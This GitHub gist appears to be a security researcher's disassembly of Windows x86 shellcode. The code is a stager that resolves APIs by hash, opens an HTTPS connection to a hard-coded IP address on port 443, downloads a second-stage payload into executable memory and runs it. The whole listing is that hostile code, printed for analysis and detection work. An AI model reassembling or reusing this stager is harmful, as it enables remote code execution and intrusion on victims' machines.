Skip to content

Instantly share code, notes, and snippets.

@JohnLaTwC
Created April 7, 2019 17:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JohnLaTwC/0f08e85208e89175d0f2bd60fa927b38 to your computer and use it in GitHub Desktop.
Save JohnLaTwC/0f08e85208e89175d0f2bd60fa927b38 to your computer and use it in GitHub Desktop.
00000000 FC CLD
00000001 E882000000 CALL -FFFFFF78
00000006 60 PUSHA
00000007 89E5 MOV EBP,ESP
00000009 31C0 XOR EAX,EAX
0000000B 648B5030 MOV EDX,DWORD PTR FS:[EAX+30]
0000000F 8B520C MOV EDX,DWORD PTR [EDX+0C]
00000012 8B5214 MOV EDX,DWORD PTR [EDX+14]
00000015 8B7228 MOV ESI,DWORD PTR [EDX+28]
00000018 0FB74A26 MOVZX ECX,WORD PTR [EDX+26]
0000001C 31FF XOR EDI,EDI
0000001E AC LODS AL,BYTE PTR [ESI]
0000001F 3C61 CMP AL,61
00000021 7C02 JL 00000025
00000023 2C20 SUB AL,20
00000025 C1CF0D ROR EDI,0D
00000028 01C7 ADD EDI,EAX
0000002A E2F2 LOOP 0000001E
0000002C 52 PUSH EDX
0000002D 57 PUSH EDI
0000002E 8B5210 MOV EDX,DWORD PTR [EDX+10]
00000031 8B4A3C MOV ECX,DWORD PTR [EDX+3C]
00000034 8B4C1178 MOV ECX,DWORD PTR [ECX+EDX+78]
00000038 E348 JRCXZ 00000082
0000003A 01D1 ADD ECX,EDX
0000003C 51 PUSH ECX
0000003D 8B5920 MOV EBX,DWORD PTR [ECX+20]
00000040 01D3 ADD EBX,EDX
00000042 8B4918 MOV ECX,DWORD PTR [ECX+18]
00000045 E33A JRCXZ 00000081
00000047 49 DEC ECX
00000048 8B348B MOV ESI,DWORD PTR [EBX+ECX*4]
0000004B 01D6 ADD ESI,EDX
0000004D 31FF XOR EDI,EDI
0000004F AC LODS AL,BYTE PTR [ESI]
00000050 C1CF0D ROR EDI,0D
00000053 01C7 ADD EDI,EAX
00000055 38E0 CMP AL,AH
00000057 75F6 JNE 0000004F
00000059 037DF8 ADD EDI,DWORD PTR [EBP-08]
0000005C 3B7D24 CMP EDI,DWORD PTR [EBP+24]
0000005F 75E4 JNE 00000045
00000061 58 POP EAX
00000062 8B5824 MOV EBX,DWORD PTR [EAX+24]
00000065 01D3 ADD EBX,EDX
00000067 668B0C4B MOV CX,WORD PTR [EBX+ECX*2]
0000006B 8B581C MOV EBX,DWORD PTR [EAX+1C]
0000006E 01D3 ADD EBX,EDX
00000070 8B048B MOV EAX,DWORD PTR [EBX+ECX*4]
00000073 01D0 ADD EAX,EDX
00000075 89442424 MOV DWORD PTR [ESP+24],EAX
00000079 5B POP EBX
0000007A 5B POP EBX
0000007B 61 POPA
0000007C 59 POP ECX
0000007D 5A POP EDX
0000007E 51 PUSH ECX
0000007F FFE0 JMP EAX
00000081 5F POP EDI
00000082 5F POP EDI
00000083 5A POP EDX
00000084 8B12 MOV EDX,DWORD PTR [EDX]
00000086 EB8D JMP 00000015
00000088 5D POP EBP
00000089 686E657400 PUSH 0074656E
0000008E 6877696E69 PUSH 696E6977
00000093 54 PUSH ESP
00000094 684C772607 PUSH 0726774C
00000099 FFD5 CALL EBP
0000009B 31DB XOR EBX,EBX
0000009D 53 PUSH EBX
0000009E 53 PUSH EBX
0000009F 53 PUSH EBX
000000A0 53 PUSH EBX
000000A1 53 PUSH EBX
000000A2 683A5679A7 PUSH A779563A
000000A7 FFD5 CALL EBP
000000A9 53 PUSH EBX
000000AA 53 PUSH EBX
000000AB 6A03 PUSH 00000003
000000AD 53 PUSH EBX
000000AE 53 PUSH EBX
000000AF 68BB010000 PUSH 000001BB
000000B4 E8B0000000 CALL -FFFFFE97
000000B9 2F DAS
000000BA 3239 XOR BH,BYTE PTR [ECX]
000000BC 6E OUTS DX,BYTE PTR [ESI]
000000BD 325F4A XOR BL,BYTE PTR [EDI+4A]
000000C0 4B DEC EBX
000000C1 2D31587A61 SUB EAX,617A5831
000000C6 3574766E68 XOR EAX,686E7674
000000CB 6E OUTS DX,BYTE PTR [ESI]
000000CC 6851636735 PUSH 35676351
000000D1 3446 XOR AL,46
000000D3 6D INS DWORD PTR [EDI],DX
000000D4 305743 XOR BYTE PTR [EDI+43],DL
000000D7 005068 ADD BYTE PTR [EAX+68],DL
000000DA 57 PUSH EDI
000000DB 899FC6FFD589 MOV DWORD PTR [EDI-762A003A],EBX
000000E1 C6 ???
000000E2 53 PUSH EBX
000000E3 680032E084 PUSH 84E03200
000000E8 53 PUSH EBX
000000E9 53 PUSH EBX
000000EA 53 PUSH EBX
000000EB 57 PUSH EDI
000000EC 53 PUSH EBX
000000ED 56 PUSH ESI
000000EE 68EB552E3B PUSH 3B2E55EB
000000F3 FFD5 CALL EBP
000000F5 96 XCHG EAX,ESI
000000F6 6A0A PUSH 0000000A
000000F8 5F POP EDI
000000F9 6880330000 PUSH 00003380
000000FE 89E0 MOV EAX,ESP
00000100 6A04 PUSH 00000004
00000102 50 PUSH EAX
00000103 6A1F PUSH 0000001F
00000105 56 PUSH ESI
00000106 6875469E86 PUSH 869E4675
0000010B FFD5 CALL EBP
0000010D 53 PUSH EBX
0000010E 53 PUSH EBX
0000010F 53 PUSH EBX
00000110 53 PUSH EBX
00000111 56 PUSH ESI
00000112 682D06187B PUSH 7B18062D
00000117 FFD5 CALL EBP
00000119 85C0 TEST EAX,EAX
0000011B 7516 JNE 00000133
0000011D 6888130000 PUSH 00001388
00000122 6844F035E0 PUSH E035F044
00000127 FFD5 CALL EBP
00000129 4F DEC EDI
0000012A 75CD JNE 000000F9
0000012C 68F0B5A256 PUSH 56A2B5F0
00000131 FFD5 CALL EBP
00000133 6A40 PUSH 00000040
00000135 6800100000 PUSH 00001000
0000013A 6800004000 PUSH 00400000
0000013F 53 PUSH EBX
00000140 6858A453E5 PUSH E553A458
00000145 FFD5 CALL EBP
00000147 93 XCHG EAX,EBX
00000148 53 PUSH EBX
00000149 53 PUSH EBX
0000014A 89E7 MOV EDI,ESP
0000014C 57 PUSH EDI
0000014D 6800200000 PUSH 00002000
00000152 53 PUSH EBX
00000153 56 PUSH ESI
00000154 68129689E2 PUSH E2899612
00000159 FFD5 CALL EBP
0000015B 85C0 TEST EAX,EAX
0000015D 74CD JE 0000012C
0000015F 8B07 MOV EAX,DWORD PTR [EDI]
00000161 01C3 ADD EBX,EAX
00000163 85C0 TEST EAX,EAX
00000165 75E5 JNE 0000014C
00000167 58 POP EAX
00000168 C3 RET
00000169 5F POP EDI
0000016A E869FFFFFF CALL 000000D8
0000016F 3836 CMP BYTE PTR [ESI],DH
00000171 2E3130 XOR DWORD PTR CS:[EAX],ESI
00000174 362E3130 XOR DWORD PTR CS:[EAX],ESI
00000178 322E XOR CH,BYTE PTR [ESI]
0000017A 3132 XOR DWORD PTR [EDX],ESI
0000017C 37 AAA
0000017D 00 ADD BYTE PTR [EAX],AL
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment